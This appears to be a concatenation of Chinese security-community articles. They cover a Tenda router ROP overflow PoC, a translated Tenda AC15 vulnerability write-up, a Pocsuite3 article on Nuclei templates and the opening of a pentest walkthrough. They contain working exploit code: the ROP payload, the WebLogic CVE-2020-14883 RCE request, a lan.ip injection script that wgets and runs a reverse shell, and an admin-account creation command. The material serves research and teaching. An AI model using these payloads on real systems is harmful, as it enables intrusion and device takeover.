tunctl -t tap0 # 创建一个 tap0 接口
brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口
ifconfig tap0 192.168.198.100/24 up #为tap0分配ip地址
brctl showstp br0 # 显示 br0 的各个接口
此时查看br0网桥各接口的信息如图，其中tap0的状态应该为disable，等qemu-system-mips启动后就会变为forwarding转发模式。
2，下载qemu-system需要的kernel和虚拟硬盘文件
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpresswget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
3,启动
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress \-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \-append "root=/dev/mmcblk0p2 console=ttyAMA0" \-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
`script` 和 `downscript` 两个选项的作用是告诉 QEMU 在启动系统的时候是否调用脚本自动配置网络环境，如果这两个选项为空，那么
QEMU 启动和退出时会自动选择第一个不存在的 tap 接口(通常是 tap0)为参数，调用脚本 /etc/qemu-ifup 和 /etc/qemu-ifdown。由于我们已经配置完毕，所以这两个参数设置为 no 即可。
3,启动之后，eth0网卡没有分配ip地址,自己手动配个同段互通ip即可，为了等会scp输送固件文件系统到qemu虚拟机中。
ifconfig eth0 192.168.40.100 #qemu中执行
scp -r ./squashfs-root [email protected]:/root/ #宿主机执行
## 挂载对应目录
4,qemu虚拟机挂载固件文件系统中相应目录:
目的是使程序能读取到自身lib中的libc文件
mount -o bind /dev ./root/devmount -t proc /proc ./root/procchroot ./ sh #这里匹配自己对应的目录，失败就切换目录多试试
## 配置桥接网卡
5,配置br0虚拟网卡（前面已经分析过，httpd程序启动会去读取这个网卡）
brctl addbr br0 #添加br0虚拟网卡ifconfig br0 192.168.40.200/24 up
`Tip:`
退出qemu : ctrl+a同时按完释放，再x退出
6,启动程序：
正常启动：
./bin/httpd
调试启动：
./gdbserver-7.7.1-armhf-eabi5-v1-sysv 0.0.0.0:1234 ./bin/httpd
调试启动需要对应架构的gdbserver，大家可自行百度找找。[找不到的同学看这里，我又帮你找好了哦]<https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/%E9%9D%99%E6%80%81%E7%BC%96%E8%AF%91%E8%B0%83%E8%AF%95%E7%A8%8B%E5%BA%8F/gdbserver>
提示缺少权限：chmod 777附加
7，同样gdb连上
8，执行脚本方法测试（脚本POC内容在最下方，对比上面通过手工测试的方法的优劣）
这里程序又卡在了此处，流程没有正常执行下去。方法跟上面一样，通过str去定位执行指令处，分析，只要不影响程序后面正常执行的，直接patch掉即可。
通过`追踪栈帧`找到卡住的函数位置：
又是同样的问题，追踪栈帧，找到需要patch的位置：
执行成功：
# poc
system = libc_base + 0x5A270 #readelf -s ./lib/libc.so.0 | grep system
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8 #ROPgadget --binary ./lib/libc.so.0 --only
"pop"| grep r3
pop_r3 = libc_base + 0x18298 #ROPgadget --binary ./lib/libc.so.0 | grep "mov
r0, sp"
payload = 'a' _(0x60) + p32(readable_addr) + 'b'_ (0x20-8)
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = ""
cookie = {"Cookie":"password=12345"}
data = {"ssid": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
#此处两次传递requests具体原因有待分析，经过实际测试对比效果确实不同，这里就留给大家交流了。
print(response.text)
# 附
自行环境搭建
[1]<https://blog.csdn.net/weixin_44309300/article/details/118526235>
现成环境实验
[2]<https://github.com/firmianay/IoT-vulhub/tree/master/Tenda/CVE-2018-16333>
docker运行环境搭建
[3]<https://island123.github.io/2020/02/12/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA--%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8qemu%E8%BF%90%E8%A1%8C%E5%90%84%E7%A7%8D%E6%8C%87%E4%BB%A4%E6%9E%B6%E6%9E%84%E7%A8%8B%E5%BA%8F/#%E4%B8%8Edocker%E7%9A%84%E5%85%BC%E5%AE%B9%E6%80%A7%E9%97%AE%E9%A2%98> | 社区文章 |
# Tenda AC15 AC1900多个漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 Sanjana Sarda，文章来源：securityevaluators.com
原文地址：<https://blog.securityevaluators.com/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
作为ISE Labs对嵌入式设备进行研究的一部分，我们研究了Tenda的AC15 AC1900智能双频千兆Wi-Fi路由器。在研究过程中，我们测试了运行最新固件版本15.03.05.19的路由器。尽管他们最近已从官方发行版中删除了该版本，但我们要提及的是，Tenda自2017年以来就没有更新其固件。但是，仍然可以从Tenda的美国网站下载2019年固件版本。
通过对Tenda AC15
AC1900路由器的研究，我们在其固件上发现了5个CVE。这是不是很有趣，本文接下来将演示攻击者可以使用两种方法获得设备的root权限，这两种方法不需要身份验证，而且可以持久化。值得一提的是，可以利用这些漏洞，可能使路由器成为僵尸网络的一部分，攻击外部系统和内部网络上的其他设备。
## 准备工作
路由器的admin账户的初始密码是`mouse`
。`mouse`的MD5值是（`40203abe6e81ed98cbc97cdd6ec4f144`）本篇文章将会通篇出现这个哈希值。现在我们已经可以成功的通过路由器web界面的认证逻辑，让我们开始寻找针对Web服务的漏洞，这些漏洞可被利用来拿到设备root权限或对设备造成危害。本文将会涉及到各个攻击面，注意任何可能的注入入口，例如客户端可控的参数字段。此后，我们将使用binwalk对固件进行提取，得到二进制程序，并使用IDA
Pro对二进制进行逆向和分析。
## 初步分析
我们将首先使用Nmap工具开始对路由器的开放端口进行扫描，以确定路由器的配置方式。因为我们希望Nmap扫描所有TCP端口（从1到65535），确定所有开放的服务，使用的操作系统的版本(使用-A参数），并且提供额外的输出信息(-V参数），所以我们将运行`nmap -p 1–65535 -T4 -A -v
192.168.0.1`，运行命令得到如下重要信息：
PORT STATE SERVICE VERSION
23 open telnet telnetd
80 open http Tenda WAP http admin
1990 open Stun-p1
5500 open Rtsp
8180 open http nginx 1.22
9000 open Cslistener
10004 open emcrmirccd
通过端口扫描的结果，可以确定设备跑了2个http服务程序，1个RTSP和1个STUN程序，尽管这些并没有什么不同的，但是值得注意的是，路由器可能运行了一个telnetd进程，这个进程可能是通过busybox起来的，如果幸运的话，我们可以通过这个端口获得路由器的root
shell。
## 不完善的请求认证
我们通过使用burpsuite对web接口进行各种尝试访问，最终确定SysToolReboot 接口作为入口点，SysToolReboot
将会在系统重启之前断开路由器与Internet的联网，并且断网时长达到45秒，通过对下面的GET请求，可以实现对路由器的重启，并且改变路由器的状态
重启请求
攻击者可以使一个已经通过认证的用户访问恶意的url链接，从而造成CSRF攻击。CSRF攻击会强迫用户执行一些意外的操作，导致设备的重启以及状态的改变，并且这都利用了用户已经通过身份认证的特性。例如，攻击者可以通过一个HTML的`<img>`标签来触发这个重启系统的GET请求。比如，攻击者将这个恶意的url伪装在一个0x0大小的图片链接中，当用户访问了这个恶意的`<img>`的时候，浏览器会发起一个request请求去获取这个图片，但是获取图片不成，反而造成了系统的重启。标签内容如下：
<img src="http://192.168.0.1/goform/SysToolReboot" width="0" height="0" border="0">
当然攻击者也可以通过一些社工的方式，使用一些更简单的办法，让已经通过认真的用户去访问`http://192.168.0.1/goform/SysToolReboot`这个url，同样可以取得重启路由器的效果，因为这个重启的操作只需要一个GET请求
## 不完善的输入校验
通过更多的测试，我们到达了wifi配置的界面，这里我们可以配置wifi的名字，wifi的密码，这些参数都是用户可控的，这些参数都会影响用户在连接wifi的配置。
web的登录界面
通过更进一步的检查，我们发现路由器并没有对输入的参数进行完善的校验，我们可以向输入中注入代码`<script>alert(document.cookie)</script>`，导致一个XSS的攻击，比如当用户去访问这个配置界面的时候就会弹出一个显示cookie的alert，这个就是浏览器执行注入代码的结果。
这样我们就实现了一个持久化的XSS漏洞，每当用户访问界面中包含WIFI的名字或者密码的时候，都会导致这个注入代码的执行。这和之前发现的CSRF漏洞组合起来就可以导致一个持久的拒绝服务攻击。但是这是一个需要身份认证的攻击面，所以攻击成本比较大，条件比较苛刻。由于我们的目标是尽量的减少被攻击者的参与，以及攻击者所需要的权限，因此我们通过研究固件，继续挖掘更深层次的漏洞。
## 硬编码的登陆凭证
就像[CVE-2018-5770](https://www.cvedetails.com/cve/CVE-2018-5770/),
一个未经认证的远程用户可以在Tenda AC15路由器上启动一个telnetd服务，并且可以通过这个服务获得root权限。但是最新版本的固件v19,
已经禁用了这个硬编码的后门账户，我们不能再通过这个账户获得root权限了。但是，这个telnet账户密码md5值`9B60FC59706134759DBCAEA58CAF9068`却是硬编码在固件中的，因此我们可以通过爆破这个md5值得到密码，下图显示了硬编码md5的二进制代码以及登陆这个telnet服务的PoC。
Tenda_login 二进制文件
Telent Login
## RCE漏洞CVE-2020–10987 & CVE-2020–15916
当我们对httpd的二进制程序进行更进一步的研究，发现deviceName参数和lanIp字段都是借传到了`doSystemCmd`函数中的，这会导致一个任意的命令执行。
直接传入`deviceName`
直接传入`lan.ip`
deviceName的值可以通过认证请求传给web接口，例如像下面这样，可以直接导致路由器的强制重启
使用`deviceName`实现命令注入
同样的，`lan.ip`的值也可以通过相似的web接口传给路由器，但是这种请求更为少见，或者是通过启动telnet程序使用`cfm`传递`lan.ip`的值。
设置 lan.ip
这种攻击可以持久化，因为lan.ip的值一般情况下不会改变，除非进行出厂化设置才会改变。改变lan.ip的值会暂时导致wifi失效，如果想让路由器的功能正常，还需要重启路由器。
## 更深入的研究
尽管我们可以通过telnet获得路由器的root权限，我们可以更进一步的利用这个漏洞，我们可以在路由器上实现一个持久化的反弹shell。
由于路由器上的busybox程序支持wget，所以我们可以下载一个反弹shell(这个例子中我们把端口配置为8213)到`/tmp`目录下。当我们执行这个命令的时候，我们可以获得root
权限，这个文件在每次重启的时候都会重启。一个更好的办法获得持久的root权限是通过lan.ip的命令注入实现在每次重启的时候下载和运行shell。我们通过创建如下的脚本(`sizzle`)来实现这个功能，可以自动设置lan.ip并且连接我们的端口。需要注意的是，lan.ip中的命令仅会在系统启动的时候执行一次。
#! /bin/sh
cfm set lan.ip '192.168.0.1; cd tmp; wget http://192.168.0.112:8000/shell; chmod +x shell; ./shell'
cd tmp;
wget http://192.168.0.112:8000/shell;
chmod +x shell;
./shell
使用`sizzle`脚本和`lan.ip`参数在8192端口上创建反弹shell
我们可以使用Netcat(nc)去监听(`-l`)8123端口(`-p`)的来的数据流，当我们连接路由器的时候可以获得如下的响应。
8123端口的反弹shell
## 结论
在这篇文章中，我们展示了如何在不进行身份验证的情况下危害和访问此设备，并导致持续拒绝服务攻击。有趣的是，由于Tenda尚未修补这些漏洞，因此其他固件版本中也可能存在类似的漏洞。因此，攻击者可能会发现出类似的漏洞，从而影响其他Tenda嵌入式设备。 | 社区文章 |
# 聊聊 Nuclei YAML 语法模版及 Pocsuite3 的兼容思路
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
Pocsuite3 是由知道创宇 404 实验室打造的一款基于 GPLv2 许可证开源的远程漏洞测试框架【1】。框架本身使用 Python3 开发，集成了
ZoomEye、Shodan、CEye、Interactsh 等众多安全服务的 API，用户可以基于 Pocsuite3 快速编写
PoC/Exp，对批量目标进行漏洞验证并获取汇总结果。
Nuclei 是一款由 projectdiscovery 开源的基于 YAML 语法模板的定制化快速漏洞扫描器【2】。Nuclei
定义了一套向目标发送请求，匹配响应判定漏洞是否验证成功的语法，支持 TCP、HTTP 等多种协议。Nuclei 的社区非常活跃，nuclei-templates 项目提供了几千个由社区维护的 PoC 模版【3】。
相比于 Nuclei，Pocsuite3 更加灵活，可以直接使用大量的第三方库，对于一些涉及复杂协议的漏洞会很方便，而且用户只要会写
Python，就能快速上手。从 `2.0.0` 版本开始，Pocsuite3 支持 YAML 格式的 PoC，兼容 Nuclei，可以直接使用 nuclei
template。
本文抛砖引玉，简单聊聊 Nuclei YAML 语法模版，以及 Pocsuite3 是如何实现兼容的。关于 Nuclei 模版的更详细信息可参考
Nuclei 官方文档。
## Nuclei YAML 语法模版
YAML 是一种数据序列化语言，通常用于编写配置文件。它的基本语法规则如下（来源：阮一峰《YAML 语言教程》【4】）。
> * 大小写敏感
> * 使用缩进表示层级关系
> * 缩进时不允许使用 Tab 键，只允许使用空格。
> * 缩进的空格数目不重要，只要相同层级的元素左侧对齐即可
>
`#` 表示注释，从这个字符一直到行尾，都会被解析器忽略。
YAML 支持的数据结构有三种。
> * 对象：键值对的集合，使用冒号结构表示。
> * 数组：一组按次序排列的值，又称为序列（sequence） /
> 列表（list）。一组连词线开头的行，构成一个数组。如果数据结构的子成员是一个数组，则可以在该项下面缩进一个空格。
> * 纯量（scalars）：单个的、不可再分的值，如字符串、整数、布尔值等。
>
以 `nuclei-templates/cves/2020/CVE-2020-14883.yaml` 为例：
id: CVE-2020-14883
info:
name: Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution
author: pdteam
severity: high
description: The Oracle Fusion Middleware WebLogic Server admin console in versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is vulnerable to an easily exploitable vulnerability that allows high privileged attackers with network access via HTTP to compromise Oracle WebLogic Server.
reference:
- https://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883
- https://www.oracle.com/security-alerts/cpuoct2020.html
- http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2020-14883
tags: oracle,rce,weblogic,kev,packetstorm,cve,cve2020
requests:
- raw:
- |
POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
Host: {{Hostname}}
Accept-Language: en
CMD: {{cmd}}
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("CMD");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
payloads:
cmd:
- id
matchers-condition: and
matchers:
- type: word
part: header
words:
- "ADMINCONSOLESESSION"
- type: word
part: body
words:
- 'uid='
- 'gid='
- 'groups='
condition: and
- type: status
status:
- 200
extractors:
- type: regex
regex:
- "(u|g)id=.*"
# Enhanced by mp on 2022/04/20
这个模版大致可分为以下几部分：
id: str # 模版的唯一ID，必要字段。
info: {k: v} # 漏洞信息字段，包含漏洞名称、作者、漏洞严重性、漏洞描述、引用连接、评分、漏洞标签等，基本都是可选字段。
variables: {k: v} # 全局变量，值可以是一个字符串或者一个表达式，上述模版未提供
requests: [] # 定义的 HTTP 请求（核心部分）
最核心的是 requests 部分，requests 代表定义 HTTP 请求。Nuclei 支持多种协议，比如想定义 TCP 请求就需要使用
network 字段。
requests 的语法如下，它的每个元素都包含单/多个 HTTP
请求、payloads（可选）、匹配规则、解压规则（可选）。大多数情况下定义一个就足够了。
requests
# 方式一：原始（raw）请求
- raw:
- |
GET /index.php HTTP/1.1
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Accept-Language: en
...
# 方式二：GET, POST, PUT, DELETE 请求
- method: GET
path:
- "{{BaseURL}}/login.php"
- "{{BaseURL}}/index.php"
headers: {}
# payload 组合方式
attack: clusterbomb
# 提供的 payload，用于请求填充
payloads: {}
# 解压规则，用于从上一个请求响应中提取信息，以用于后续的请求填充或者结果返回。
extractors: []
# 定义的请求发送完再进行匹配
req-condition: false
# 命中第一个匹配就返回
stop-at-first-match: true
# 匹配规则的逻辑关系，如果是 and 则表示所有匹配条件必须都为 true。
matchers-condition: and
# 匹配规则
matchers: []
定义 http 请求支持两种方式，1、分别定义 method、path、headers、body 等；2、直接提供 http 原始请求。请求中会包含形如
`{{变量名或表达式}}` 的动态值，需要在发送请求前替换。变量命名空间由 variables、payloads、extractors 解压出来的值、目标
url 等一起提供。解压规则和匹配规则中也会包含动态值。
extractors 有以下几种类型：
1、regex，正则提取；
2、kval，健值对，比如提取指定响应头；
3、json，使用 jq 的语法提取 json 数据；
4、xpath，使用 xpath 提取 html 响应数据；
5、dsl，使用表达式提取，不常用。
`WebLogic CVE-2020-14883` 的解压规则定义如下，使用正则提取了 id 命令的执行结果。
extractors:
- type: regex
regex:
- "(u|g)id=.*"
matchers 的类型定义如下：
1、status，匹配 http 响应状态码；
2、size，匹配长度，如 Conteng-Length；
3、word，字符串匹配；
4、regex，正则匹配；
5、binary，二进制数据匹配；
5、dsl，使用复杂表达式进行匹配；
举个例子：
matchers:
# 对响应 headers 进行字符串匹配
- type: word
part: header
words:
- "ADMINCONSOLESESSION"
# 对响应 body 进行字符串匹配，且要包含所有子串。
- type: word
part: body
words:
- 'uid='
- 'gid='
- 'groups='
condition: and
# 匹配 http 响应状态码
- type: status
status:
- 200
上面我们介绍了各个部分的含义。总体来看，引擎大致运行流程如下：
1、迭代所有的 payloads 组合；
2、针对每个 payloads 组合，顺序依次发送定义的请求并获取响应结果（需要替换请求中的动态值）；
3、遍历所有的解压规则，从响应提取信息，合并到局部变量命名空间，或者用于结果返回（由 internal 变量控制）；
4、如果 `req-conditio` 的值为 true，则跳转到 2
继续发送下一个请求；并提取响应结果各个部分，保存到局部变量命名空间，形如：`status_code_1`、`body_2`。
5、遍历匹配规则，获取匹配结果，如果匹配则返回，否则继续；
## Pocsuite3 兼容 nuclei 的部分实现细节
### YAML 格式 PoC 如何和原框架兼容
我们不想改动 Pocsuite3 注册 PoC 到框架的方式，因此将 Nuclei 实现成了一个相对独立的模块，并额外提供了一个方法。当框架加载 PoC
时发现是 YAML 格式，会自动转换成 Pocsuite3 的 PoC 格式。因此 YAML 格式的 PoC 和 Python PoC
脚本在使用上没有任何区别。
class nuclei:
...
def __str__(self):
"""
Convert nuclei template to Pocsuite3
"""
info = []
key_convert = {
'description': 'desc',
'reference': 'references'
}
for k, v in self.json_template['info'].items():
if k in key_convert:
k = key_convert.get(k)
if type(v) in [str]:
v = json.dumps(v.strip())
info.append(f' {k} = {v}')
poc_code = [
'from pocsuite3.api import POCBase, Nuclei, register_poc\n',
'\n',
'\n',
'class TestPOC(POCBase):\n',
'\n'.join(info),
'\n',
' def _verify(self):\n',
' result = {}\n',
' if not self._check(is_http=%s):\n' % (len(self.template.requests) > 0),
' return self.parse_output(result)\n',
" template = '%s'\n" % binascii.hexlify(self.yaml_template.encode()).decode(),
' res = Nuclei(template, self.url).run()\n',
' if res:\n',
' result["VerifyInfo"] = {}\n',
' result["VerifyInfo"]["URL"] = self.url\n',
' result["VerifyInfo"]["Info"] = {}\n',
' result["VerifyInfo"]["Info"]["Severity"] = "%s"\n' % self.template.info.severity.value,
' if not isinstance(res, bool):\n'
' result["VerifyInfo"]["Info"]["Result"] = res\n',
' return self.parse_output(result)\n',
'\n',
'\n',
'register_poc(TestPOC)\n'
]
return ''.join(poc_code)
### 如何加载 YAML 模版
Golang 可以直接反序列化 JSON 数据为结构体看着非常优雅，在 Python3 中使用 dataclass 和 daciate
库也可以做到这一点，还能顺便做类型检查。另外，Python 中变量不能包含中横线，需要对数据做一些预处理。
@dataclass
class Template:
"""Template is a YAML input file which defines all the requests and other metadata for a template.
"""
id: str = ''
info: Info = field(default_factory=Info)
requests: List[HttpRequest] = field(default_factory=list)
network: List[NetworkRequest] = field(default_factory=list)
stop_at_first_match: bool = True
variables: dict = field(default_factory=dict)
class Nuclei:
def __init__(self, template, target=''):
self.yaml_template = template
try:
self.yaml_template = binascii.unhexlify(self.yaml_template).decode()
except ValueError:
pass
self.json_template = yaml.safe_load(expand_preprocessors(self.yaml_template))
self.template = dacite.from_dict(
Template, hyphen_to_underscore(self.json_template),
config=dacite.Config(cast=[Severify, ExtractorType, MatcherType, HTTPMethod, AttackType, NetworkInputType]))
### DSL 表达式执行
使用 Python 实现了 DSL 的大部分函数，限制了表达式所能访问的函数和属性，最后通过 eval 执行。
def safe_eval(expression, variables):
if not _check_expression(expression, allowed_variables=list(variables.keys())):
expression = expression.replace(' && ', ' and ').replace(' || ', ' or ')
if not _check_expression(expression, allowed_variables=list(variables.keys())):
raise Exception(f"Invalid expression [{expression}], only a very simple subset of Python is allowed.")
return eval(expression, globals(), variables)
### 使用效果
使用 `-r` 直接加载 YAML 模版即可，通过 `-v` 设置日志级别，可以输出模版运行细节，包括请求和响应、表达式执行、解压规则和匹配规则的运行结果。
➜ ~ pocsuite -r ~/nuclei-templates/cves/2020/CVE-2020-14883.yaml -u http://172.29.157.74:7001 -v 2
,------. ,--. ,--. ,----. {2.0.1-cb758d9}
| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. |
| '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' <
| | --'' '-' \ `--.-' `' '' | | | | \ --/'-' |
`--' `---' `---`----' `----'`--' `--' `----`----' https://pocsuite.org
[*] starting at 18:34:40
[18:34:40] [INFO] loading PoC script '/Users/fenix/nuclei-templates/cves/2020/CVE-2020-14883.yaml'
[18:34:41] [INFO] pocsusite got a total of 1 tasks
[18:34:41] [DEBUG] pocsuite will open 1 threads
[18:34:41] [INFO] running poc:'Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution' target 'http://172.29.157.74:7001'
[18:34:52] [DEBUG] < POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
< Host: 172.29.157.74:7001
< User-Agent: Mozilla/5.0 (compatible; MSIE 5.0; Windows NT 6.0; Trident/4.0)
< Accept-Encoding: gzip, deflate
< Accept: */*
< Connection: keep-alive
< Accept-Language: en
< CMD: id
< Content-Type: application/x-www-form-urlencoded
< Content-Length: 1166
<
< test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("CMD");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
> HTTP/1.1 200 OK
> Date: Wed, 09 Nov 2022 02:34:52 GMT
> Transfer-Encoding: chunked
> Content-Type: text/html; charset=UTF-8
> Set-Cookie: ADMINCONSOLESESSION=hpNaPYWzVQlWjXS0qq3B6CBq43oDb1kLXFpPZS6iOBlsVxfbRC-2!-1601473325; path=/console/; HttpOnly
>
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
[18:34:52] [DEBUG] [+] Extractor(name='', type=<ExtractorType.RegexExtractor: 'regex'>, regex=['(u|g)id=.*'], group=0, kval=[], json=[], xpath=[], attribute='', dsl=[], part='', internal=False, case_insensitive=False) -> {'internal': {}, 'external': {}, 'extra_info': ['uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)']}
[18:34:52] [DEBUG] [+] Matcher(type=<MatcherType.WordsMatcher: 'word'>, condition='or', part='header', negative=False, name='', status=[], size=[], words=['ADMINCONSOLESESSION'], regex=[], binary=[], dsl=[], encoding='', case_insensitive=False, match_all=False) -> True
[18:34:52] [DEBUG] [+] Matcher(type=<MatcherType.WordsMatcher: 'word'>, condition='and', part='body', negative=False, name='', status=[], size=[], words=['uid=', 'gid=', 'groups='], regex=[], binary=[], dsl=[], encoding='', case_insensitive=False, match_all=False) -> True
[18:34:52] [DEBUG] [+] Matcher(type=<MatcherType.StatusMatcher: 'status'>, condition='or', part='body', negative=False, name='', status=[200], size=[], words=[], regex=[], binary=[], dsl=[], encoding='', case_insensitive=False, match_all=False) -> True
[18:34:52] [+] URL : http://172.29.157.74:7001
[18:34:52] [+] Info : {'Severity': 'high', 'Result': [{'cmd': 'id', 'extra_info': ['uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)']}]}
[18:34:52] [INFO] Scan completed,ready to print
+---------------------------+-----------------------------------------------------------------------------------------+--------+-----------+---------+---------+
| target-url | poc-name | poc-id | component | version | status |
+---------------------------+-----------------------------------------------------------------------------------------+--------+-----------+---------+---------+
| http://172.29.157.74:7001 | Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution | 0 | | | success |
+---------------------------+-----------------------------------------------------------------------------------------+--------+-----------+---------+---------+
success : 1 / 1
[*] shutting down at 18:34:52
## 最后
目前的实现能覆盖大部分 HTTP 和 Network 模版，Nuclei
的一些特殊功能如：Workflows、条件竞争请求、请求注释等暂不支持。最新版本已经推送到 PyPI、Homebrew
仓库、Dockerhub、Archlinux 等，等这个大版本稳定后会继续推送 Debian、Kali、Ubuntu。如果大家在使用中发现任何问题，欢迎提交
Issue 或贡献代码。
## 参考链接
【1】: Pocsuite3 框架
<https://pocsuite.org>
【2】: Nuclei 框架
<https://nuclei.projectdiscovery.io>
【3】: nuclei-templates 项目
<https://github.com/projectdiscovery/nuclei-templates>
【4】: YAML 语言教程
<https://www.ruanyifeng.com/blog/2016/07/yaml.html> | 社区文章 |
# 浅谈渗透测试实战
|
##### 译文声明
本文是翻译文章，文章来源： WhiteCellClub
原文地址：[http://mp.weixin.qq.com/s?__biz=MzAxMTY5MTEyMQ==&mid=401615514&idx=1&sn=808a060406904c8b48a8023ef628991c&scene=1&srcid=0128z2yPii39b9Vw5uiq4HwF#wechat_redirect](http://mp.weixin.qq.com/s?__biz=MzAxMTY5MTEyMQ==&mid=401615514&idx=1&sn=808a060406904c8b48a8023ef628991c&scene=1&srcid=0128z2yPii39b9Vw5uiq4HwF#wechat_redirect)
译文仅供参考，具体内容表达以及含义原文为准。
** 0x00 前言**
最近,因为工作原因一直也没时间更新博客。好不容易忙完了一阵,眼看就要过年了,先提前祝大家新年快乐!
很多时候,在看白帽子们的漏洞的时候总有一种感觉就是把web渗透简单地理解成了发现web系统漏洞进而获取webshell。其实,个人感觉一个完整的渗透(从黑客的角度去思考问题)应该是以尽一切可能获取目标的系统或者服务器的最高权限,尽可能的发现足够多的敏感信息。这个过程应该包括但不限于以下几个方面:
1. 信息刺探: 待渗透目标的系统,人员,组织信息等
2. 漏洞侦测: 所有与待渗透目标相关的系统的漏洞侦测
3. 系统提权: 利用现有的信息对已经获取的系统进行提权从而获取最高控制权限
4. 内网渗透: 利用以获取的系统作为跳板进一步扩大战果,重复以上三步获取更多的系统权限和内网敏感信息
下面,是我分享地一个相对完整的渗透实战,仅供大家交流参考,所有的操作在本文公开以前均已恢复,请大家切勿用于非法目的。
** 0x01 信息刺探**
作为渗透测试的第一步,也是最重要地一步便是信息刺探。孙子兵法有云:“知己知彼,百战不殆”。
首先是选择实战的目标站点,搜集到的信息如下:
从以上搜集到的信息,我们可以简单的分析一下接下来的渗透思路:
1. 查找主站漏洞并利用
2. 利用子站漏洞旁注进入系统搜集更多有用信息
** 0x02 漏洞侦测**
按照上面的思路首先尝试寻找主站的漏洞,通常可通过AWVS或者其他的扫描工具做初步的扫描,看看会不会有可以利用的点。但是最简单直接的方法是打开这个站点,尽可能仔细的浏览每一可能有价值的页面,如下:
有没有发现,其实我们可以观察到一些很有价值的信息。从上面的信息,我们可以发现这个主站是基于Joomla
CMS的,这个其实对我们接下来的渗透很有帮助,我们都知道最近爆出了Joomla的RCE和SQL注入漏洞,那么我们就可以去尝试看看这个站是否修复了这些漏洞。
于是,我们可以使用已经公开的exp(http://avfisher.win/archives/287)对其进行测试, 如下所示:
果然漏洞确实存在,而且我们也顺利地getshell了,那么是不是意味着我们的渗透已经结束了呢?no,no,no(重要的事情说3遍),其实真正的渗透才刚刚开始。
** 0x03 系统提权**
我们发现这是一个Windows 2008 R2的服务器,既然我们已经拿到了webshell,接下来考虑的事情就应该是,我能不能获得管理员权限?
首先,在菜刀中执行命令: whoami 看看现在的shell是在什么权限下运行的,如下:
可以看出我们的shell是在system权限下运行的,那么也就表示我们可以很容易的添加一个管理员帐户,命令如下:
net user administer <password> /add
